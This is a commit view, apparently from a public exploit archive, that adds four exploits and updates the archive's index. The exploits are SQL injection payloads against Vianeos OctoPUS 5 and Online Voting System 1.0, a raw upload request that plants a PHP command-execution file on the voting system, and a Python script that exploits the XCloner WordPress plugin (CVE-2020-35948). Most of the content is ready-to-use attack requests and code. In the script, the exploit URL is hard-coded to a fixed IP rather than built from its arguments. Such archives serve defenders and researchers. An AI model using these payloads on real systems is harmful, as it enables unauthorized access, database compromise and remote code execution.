DB: 2021-07-02
4 changes to exploits/shellcodes Online Voting System 1.0 - Authentication Bypass (SQLi) Online Voting System 1.0 - Remote Code Execution (Authenticated) Wordpress Plugin XCloner 4.2.12 - Remote Code Execution (Authenticated) Vianeos OctoPUS 5 - 'login_user' SQLi
This commit is contained in:
Offensive Security
parent
293ca2aadb
commit
4f3cf46cbf
5 changed files with 255 additions and 0 deletions
19
exploits/multiple/webapps/50078.txt
Normal file
19
exploits/multiple/webapps/50078.txt
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
# Exploit Title: Vianeos OctoPUS 5 - 'login_user' SQLi
|
||||
# Date: 01/07/2021
|
||||
# Exploit Author: Audencia Business SCHOOL
|
||||
# Vendor Homepage: http://www.vianeos.com/en/home-vianeos/
|
||||
# Software Link: http://www.vianeos.com/en/octopus/
|
||||
# Version: > V5
|
||||
# Tested on: Fedora / Apache2 / MariaDB
|
||||
|
||||
|
||||
Octopus V5 SQLi
|
||||
|
||||
The "login_user =" parameter present in the POST authentication request is vulnerable to an Time Based SQLi as follow :
|
||||
|
||||
```
|
||||
Parameter: login_user (POST)
|
||||
Type: time-based blind
|
||||
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
||||
Payload: signin_user=1&login_user=1' AND (SELECT 8860 FROM (SELECT(SLEEP(5)))xENj) AND 'OoKG'='OoKG&password_user=1
|
||||
```
|
||||
35
exploits/php/webapps/50075.txt
Normal file
35
exploits/php/webapps/50075.txt
Normal file
|
|
@ -0,0 +1,35 @@
|
|||
# Exploit Title: Online Voting System 1.0 - Authentication Bypass (SQLi)
|
||||
# Exploit Author: deathflash1411
|
||||
# Date 30.06.2021
|
||||
# Vendor Homepage: https://www.sourcecodester.com/
|
||||
# Software Link: https://www.sourcecodester.com/php/4808/voting-system-php.html
|
||||
# Version 1.0
|
||||
# Tested on: Ubuntu 20.04
|
||||
|
||||
####################
|
||||
# Proof of Concept #
|
||||
####################
|
||||
|
||||
POST /Online_voting_system/admin/ HTTP/1.1
|
||||
Host: localhost
|
||||
Content-Length: 50
|
||||
Cache-Control: max-age=0
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Origin: http://localhost
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Referer: http://localhost/Online_voting_system/admin/
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
Cookie: PHPSESSID=4ad205f46c868d2bc83e368352d0396a
|
||||
Connection: close
|
||||
|
||||
UserName=admin&Password=%27+or+%27%27%3D%27&Login=
|
||||
|
||||
###########
|
||||
# Payload #
|
||||
###########
|
||||
|
||||
UserName=admin
|
||||
Password=' or ''='
|
||||
76
exploits/php/webapps/50076.txt
Normal file
76
exploits/php/webapps/50076.txt
Normal file
|
|
@ -0,0 +1,76 @@
|
|||
# Exploit Title: Online Voting System 1.0 - Remote Code Execution (Authenticated)
|
||||
# Exploit Author: deathflash1411
|
||||
# Date 30.06.2021
|
||||
# Vendor Homepage: https://www.sourcecodester.com/
|
||||
# Software Link: https://www.sourcecodester.com/php/4808/voting-system-php.html
|
||||
# Version 1.0
|
||||
# Tested on: Ubuntu 20.04
|
||||
|
||||
####################
|
||||
# Proof of Concept #
|
||||
####################
|
||||
|
||||
POST /Online_voting_system/admin/save_candidate.php HTTP/1.1
|
||||
Host: localhost
|
||||
Content-Length: 1253
|
||||
Cache-Control: max-age=0
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Origin: http://localhost
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4G9QRpniTS7gPVqW
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Referer: http://localhost/Online_voting_system/admin/new_candidate.php
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
Cookie: PHPSESSID=4ad205f46c868d2bc83e368352d0396a
|
||||
Connection: close
|
||||
|
||||
------WebKitFormBoundary4G9QRpniTS7gPVqW
|
||||
Content-Disposition: form-data; name="user_name"
|
||||
|
||||
admin
|
||||
------WebKitFormBoundary4G9QRpniTS7gPVqW
|
||||
Content-Disposition: form-data; name="rfirstname"
|
||||
|
||||
test
|
||||
------WebKitFormBoundary4G9QRpniTS7gPVqW
|
||||
Content-Disposition: form-data; name="rlastname"
|
||||
|
||||
test
|
||||
------WebKitFormBoundary4G9QRpniTS7gPVqW
|
||||
Content-Disposition: form-data; name="rgender"
|
||||
|
||||
Male
|
||||
------WebKitFormBoundary4G9QRpniTS7gPVqW
|
||||
Content-Disposition: form-data; name="ryear"
|
||||
|
||||
1st year
|
||||
------WebKitFormBoundary4G9QRpniTS7gPVqW
|
||||
Content-Disposition: form-data; name="rmname"
|
||||
|
||||
test
|
||||
------WebKitFormBoundary4G9QRpniTS7gPVqW
|
||||
Content-Disposition: form-data; name="rposition"
|
||||
|
||||
Governor
|
||||
------WebKitFormBoundary4G9QRpniTS7gPVqW
|
||||
Content-Disposition: form-data; name="party"
|
||||
|
||||
test
|
||||
------WebKitFormBoundary4G9QRpniTS7gPVqW
|
||||
Content-Disposition: form-data; name="image"; filename="test.php"
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
<?php echo exec("whoami"); ?>
|
||||
|
||||
------WebKitFormBoundary4G9QRpniTS7gPVqW
|
||||
Content-Disposition: form-data; name="save"
|
||||
|
||||
|
||||
------WebKitFormBoundary4G9QRpniTS7gPVqW--
|
||||
|
||||
########
|
||||
# Note #
|
||||
########
|
||||
|
||||
Uploaded file will be available at http://localhost/Online_voting_system/admin/upload/
|
||||
121
exploits/php/webapps/50077.py
Executable file
121
exploits/php/webapps/50077.py
Executable file
|
|
@ -0,0 +1,121 @@
|
|||
# Exploit Title: Wordpress Plugin XCloner 4.2.12 - Remote Code Execution (Authenticated)
|
||||
# Date 30.06.2021
|
||||
# Exploit Author: Ron Jost (Hacker5preme)
|
||||
# Vendor Homepage: https://www.xcloner.com/
|
||||
# Software Link: https://downloads.wordpress.org/plugin/xcloner-backup-and-restore.4.2.12.zip
|
||||
# Version: 4.2.1 - 4.2.12
|
||||
# Tested on: Ubuntu 18.04
|
||||
# CVE: CVE-2020-35948
|
||||
# CWE: CWE-732
|
||||
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/CVE-2020-35948-Exploit/README.md
|
||||
|
||||
'''
|
||||
Description:
|
||||
An issue was discovered in the XCloner Backup and Restore plugin before 4.2.13 for WordPress. It gave authenticated attackers the ability to modify arbitrary files,
|
||||
including PHP files. Doing so would allow an attacker to achieve remote code execution. The xcloner_restore.php write_file_action could overwrite wp-config.php,
|
||||
for example. Alternatively, an attacker could create an exploit chain to obtain a database dump.
|
||||
'''
|
||||
|
||||
|
||||
'''
|
||||
Banner:
|
||||
'''
|
||||
banner = """
|
||||
|
||||
|
||||
##### # # ####### ##### ### ##### ### ##### ####### ##### # #####
|
||||
# # # # # # # # # # # # # # # # # # # # # #
|
||||
# # # # # # # # # # # # # # # # # #
|
||||
# # # ##### ##### ##### # # ##### # # ##### ##### ###### ###### # # #####
|
||||
# # # # # # # # # # # # # ####### # #
|
||||
# # # # # # # # # # # # # # # # # # # #
|
||||
##### # ####### ####### ### ####### ### ##### ##### ##### # #####
|
||||
|
||||
|
||||
|
||||
by @Hacker5preme
|
||||
"""
|
||||
print(banner)
|
||||
|
||||
|
||||
'''
|
||||
Import required modules:
|
||||
'''
|
||||
import requests
|
||||
import argparse
|
||||
|
||||
|
||||
'''
|
||||
User-Input:
|
||||
'''
|
||||
my_parser = argparse.ArgumentParser(description='Wordpress Plugin XCloner RCE (Authenticated)')
|
||||
my_parser.add_argument('-T', '--IP', type=str)
|
||||
my_parser.add_argument('-P', '--PORT', type=str)
|
||||
my_parser.add_argument('-U', '--PATH', type=str)
|
||||
my_parser.add_argument('-u', '--USERNAME', type=str)
|
||||
my_parser.add_argument('-p', '--PASSWORD', type=str)
|
||||
args = my_parser.parse_args()
|
||||
target_ip = args.IP
|
||||
target_port = args.PORT
|
||||
wp_path = args.PATH
|
||||
username = args.USERNAME
|
||||
password = args.PASSWORD
|
||||
print('')
|
||||
ajax_cmd = input('[*] Ajax Command to execute: ')
|
||||
|
||||
'''
|
||||
Authentication:
|
||||
'''
|
||||
session = requests.Session()
|
||||
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
|
||||
|
||||
# Header:
|
||||
header = {
|
||||
'Host': target_ip,
|
||||
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
|
||||
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
'Origin': 'http://' + target_ip,
|
||||
'Connection': 'close',
|
||||
'Upgrade-Insecure-Requests': '1'
|
||||
}
|
||||
|
||||
# Body:
|
||||
body = {
|
||||
'log': username,
|
||||
'pwd': password,
|
||||
'wp-submit': 'Log In',
|
||||
'testcookie': '1'
|
||||
}
|
||||
|
||||
# Authenticate:
|
||||
print('')
|
||||
auth = session.post(auth_url, headers=header, data=body)
|
||||
auth_header= auth.headers['Set-Cookie']
|
||||
if 'wordpress_logged_in' in auth_header:
|
||||
print('[+] Authentication successfull !')
|
||||
else:
|
||||
print('[-] Authentication failed !')
|
||||
exit()
|
||||
|
||||
|
||||
'''
|
||||
Exploit:
|
||||
'''
|
||||
url_exploit = "http://192.168.0.38:80/wordpress//wp-admin/admin-ajax.php?action=restore_backup"
|
||||
|
||||
header = {
|
||||
"Accept": "*/*",
|
||||
"Content-Type": "multipart/form-data; boundary=------------------------08425016980d7357",
|
||||
"Connection": "close"
|
||||
}
|
||||
|
||||
# Body:
|
||||
body = "--------------------------08425016980d7357\r\nContent-Disposition: form-data; name=\"xcloner_action\"\r\n\r\n%s\r\n--------------------------08425016980d7357--\r\n" % (ajax_cmd)
|
||||
|
||||
exploit = session.post(url_exploit, headers=header, data=body)
|
||||
print('')
|
||||
print(exploit.text)
|
||||
print('')
|
||||
|
|
@ -44207,9 +44207,13 @@ id,file,description,date,author,type,platform,port
|
|||
50063,exploits/php/webapps/50063.txt,"Simple Client Management System 1.0 - 'uemail' SQL Injection (Unauthenticated)",2021-06-25,"Barış Yıldızoğlu",webapps,php,
|
||||
50064,exploits/php/webapps/50064.rb,"Lightweight facebook-styled blog 1.3 - Remote Code Execution (RCE) (Authenticated) (Metasploit)",2021-06-25,"Maide Ilkay Aydogdu",webapps,php,
|
||||
50066,exploits/php/webapps/50066.txt,"WordPress Plugin YOP Polls 6.2.7 - Stored Cross Site Scripting (XSS)",2021-06-28,"Toby Jackson",webapps,php,
|
||||
50075,exploits/php/webapps/50075.txt,"Online Voting System 1.0 - Authentication Bypass (SQLi)",2021-07-01,"Salman Asad",webapps,php,
|
||||
50074,exploits/php/webapps/50074.txt,"Doctors Patients Management System 1.0 - SQL Injection (Authentication Bypass)",2021-06-30,"Murat DEMİRCİ",webapps,php,
|
||||
50068,exploits/macos/webapps/50068.txt,"Atlassian Jira Server/Data Center 8.16.0 - Reflected Cross-Site Scripting (XSS)",2021-06-28,Captain_hook,webapps,macos,
|
||||
50069,exploits/hardware/webapps/50069.py,"Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated)",2021-06-28,"Bryan Leong",webapps,hardware,
|
||||
50071,exploits/php/webapps/50071.py,"phpAbook 0.9i - SQL Injection",2021-06-30,"Alejandro Perez",webapps,php,
|
||||
50072,exploits/multiple/webapps/50072.py,"Apache Superset 1.1.0 - Time-Based Account Enumeration",2021-06-30,"Dolev Farhi",webapps,multiple,
|
||||
50073,exploits/multiple/webapps/50073.txt,"Simple Traffic Offense System 1.0 - Stored Cross Site Scripting (XSS)",2021-06-30,"Barış Yıldızoğlu",webapps,multiple,
|
||||
50076,exploits/php/webapps/50076.txt,"Online Voting System 1.0 - Remote Code Execution (Authenticated)",2021-07-01,"Salman Asad",webapps,php,
|
||||
50077,exploits/php/webapps/50077.py,"Wordpress Plugin XCloner 4.2.12 - Remote Code Execution (Authenticated)",2021-07-01,"Ron Jost",webapps,php,
|
||||
50078,exploits/multiple/webapps/50078.txt,"Vianeos OctoPUS 5 - 'login_user' SQLi",2021-07-01,"Audencia Business SCHOOL Red Team",webapps,multiple,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue